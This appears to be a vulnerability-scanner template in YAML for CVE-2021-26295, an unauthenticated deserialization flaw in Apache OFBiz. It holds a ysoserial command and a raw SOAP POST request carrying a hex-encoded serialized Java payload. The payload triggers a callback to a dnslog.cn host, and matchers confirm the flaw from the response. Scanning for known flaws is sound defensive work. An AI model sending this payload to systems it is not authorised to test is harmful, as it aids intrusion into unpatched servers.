63 lines
2.6 KiB
YAML
63 lines
2.6 KiB
YAML
id: CVE-2021-26295
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info:
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name: Apache OFBiz RMI deserializes Arbitrary Code Execution
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author: madrobot
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severity: critical
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tags: apache,cve,cve2021,rce,ofbiz
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description: Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
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reference:
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- https://github.com/yumusb/CVE-2021-26295-POC
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- https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
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- https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-26295
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cwe-id: CWE-502
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metadata:
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ysoserial-payload: 'java -jar ysoserial-master-d367e379d9-1.jar URLDNS http://t53lq9.dnslog.cn | hex'
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requests:
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- raw:
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- |
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POST /webtools/control/SOAPService HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<soapenv:Envelope
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xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header/>
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<soapenv:Body>
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<ser>
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<map-HashMap>
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<map-Entry>
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<map-Key>
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<cus-obj>bcc62005737220116a6176612e7574696c2e486173684d617005070c341c16606403200246200a6c6f6164466163746f724920097468726573686f6c6478703f4020202020200c770820202010202020017372200c6a6176612e6e65742e55524cfb2537361a7fa37203200749200868617368436f6465492004706f72744c2009617574686f726974797420124c6a6176612f6c616e672f537472696e673b4c200466696c6571207e20034c2004686f737471207e20034c200870726f746f636f6c71207e20034c200372656671207e20037870a0a0a0a0a0a0a0a07420107435336c71392e646e736c6f672e636e7420012f71207e2005742004687474707078742018687474703a2f2f7435336c71392e646e736c6f672e636e2f780a</cus-obj>
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</map-Key>
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<map-Value>
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<std-String value="http://t53lq9.dnslog.cn/"></std-String>
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</map-Value>
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</map-Entry>
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</map-HashMap>
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</ser>
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</soapenv:Body>
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</soapenv:Envelope>
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "OFBiz.Visitor="
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part: header
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- type: word
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words:
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- "deserializing"
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- "errorMessage"
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part: body
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condition: and
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